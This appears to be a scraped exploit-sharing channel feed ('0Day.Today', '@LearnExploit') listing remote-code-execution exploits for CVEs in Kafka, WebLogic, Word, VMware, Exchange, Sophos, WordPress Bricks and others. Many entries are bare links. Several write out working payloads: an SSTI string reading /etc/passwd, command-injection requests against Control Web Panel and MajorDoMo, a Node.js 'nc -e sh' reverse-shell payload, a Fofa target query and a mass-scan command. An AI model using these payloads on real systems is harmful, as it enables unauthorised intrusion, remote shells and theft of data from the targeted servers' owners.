CVE-2023-25194 - Apache Kafka 3.4.0 Rce

Github

#CVE #RCE
——————
0Day.Today
@LearnExploit
@Tech_Army

SSTI to RCE:

curl -X POST http://test.com:8080 -H "Cookie: token=eyJhbGciOiJI5cCI6Ikp.eyJ1c2VybmFtZSI6IndpemFyZC5vn0.YuW5qoU_-3FQ6q5wyFPw3PFlDHDOjuu2k" --data "name=name&desc={{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}"

#SSTI #RCE
——————
0Day.Today
@LearnExploit
@Tech_Army

Weblogic CVE-2023-21839 RCE

Github

#CVE #RCE
——————⁧
0Day.Today
@LearnExploit
@Tech_Army

CVE-2023-21716(Microsoft Word RCE vuln) Python PoC

open("t3zt.rtf","wb").write(("{\\rtf1{\n{\\fonttbl" + "".join([ ("{\\f%dA;}\n" % i) for i in range(0,32761) ]) + "}\n{\\rtlch no crash??}\n}}\n").encode('utf-8'))

#CVE #RCE #POC
——————
0Day.Today
@LearnExploit
@Tech_Army

CVE-2023-25135: Pre-authentication RCE

Github

#CVE #RCE #Exploit
——————‌
0Day.Today
@LearnExploit
@Tech_Army

CVE-2023-28311 ( Microsoft Word Remote Code Execution Vulnerability )

Github

#CVE #Windows #RCE
——————‌
0Day.Today
@LearnExploit
@Tech_Army

CVE-2022-22956 - CVE-2022-22957 ( VMware Workspace ONE RCE )

Link

#Exploit #CVE #RCE
——————‌
0Day.Today
@LearnExploit
@Tech_Army

CVE-2022-44877

Control Web Panel Unauth RCE

POC usage:

POST /login/index.php?login=$(ping${IFS}-nc${IFS}2${IFS}whoami.{{interactsh-url}}) HTTP/1.1
Host: vuln
Content-Type: application/x-www-form-urlencoded

username=root&password=toor&commit=Login

#Cve #rce
——————
0Day.Today
@LearnExploit
@Tech_Army

CVE-2023-20887

VMWare vRealize Network Insight Pre-Authenticated RCE

Github

#rce #exploit
——————
0Day.Today
@LearnExploit
@Tech_Army

VMWare Aria Operations for Networks (vRealize Network Insight) Static SSH key RCE (CVE-2023-34039)

#CVE #RCE
——————‌
0Day.Today
@LearnExploit
@Tech_Army

CVE-2023-36745: Microsoft Exchange Server RCE CVE-2023-36745

read

Poc

#cve #rce
——————‌
0Day.Today
@LearnExploit
@Tech_Army

CVE-2023-49070 - Pre-auth RCE in Apache Ofbiz 18.12.09

Github

#CVE #RCE
——————
0Day.Today
@LearnExploit
@Tech_Army

CVE-2022-1040 - RCE in Sophos Firewall

curl -sk -H "X-Requested-With: XMLHttpRequest" -X POST 'hxxps://x.x.x.x/userportal/Controller?mode=8700&operation=1&datagrid=179&json=\{"x":"test"\}' | grep -q 'Session Expired'

#CVE #RCE
——————
0Day.Today
@LearnExploit
@Tech_Army

reflected XSS to RCE

Payload: "><img src=x onerror=alert(whoami)>

#Xss #rce
——————
0Day.Today
@LearnExploit
@Tech_Army

CVE-2023-26360 - Unauthenticated RCE in Adobe Coldfusion

POC

#CVE #POC #RCE
——————
0Day.Today
@LearnExploit
@Tech_Army

PoC + Nuclei + Query CVE-2024-25600 Unauth RCE - WordPress Bricks - 1.9.6 CVSS 9.8

Query Fofa: body="/wp-content/themes/bricks/"

POC

Nuclei

#POC #Wordpress #RCE #CVE
——————
0Day.Today
@LearnExploit
@Tech_Army

A PoC exploit for CVE-2023-43208 - Mirth Connect Remote Code Execution (RCE)

Github

#RCE #Exploit
——————
0Day.Today
@LearnExploit
@Tech_Army

MajorDoMo thumb RCE

GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23 %3B HTTP/1.1``

#rce #Poc #Exploit
——————‌
0Day.Today
@LearnExploit
@Tech_Army

If you discover a node.js template area, you should try triggerable node payload 🔥; require('child_process').exec('nc -e sh ip port');{src:/bin/sh/}

so you can get RCE 💎

#rce #Payload
——————‌
0Day.Today
@LearnExploit
@Tech_Army

Exploits Symfony

httpx -l hosts.txt -path /_fragment?_path=_controller=phpcredits&flag=-1 -threads 100 -random-agent -x GET -tech-detect -status-code -follow-redirects -title -mc 200 -match-regex "PHP Credits"

Github

#Exploit #RCE
——————‌
0Day.Today
@LearnExploit
@Tech_Army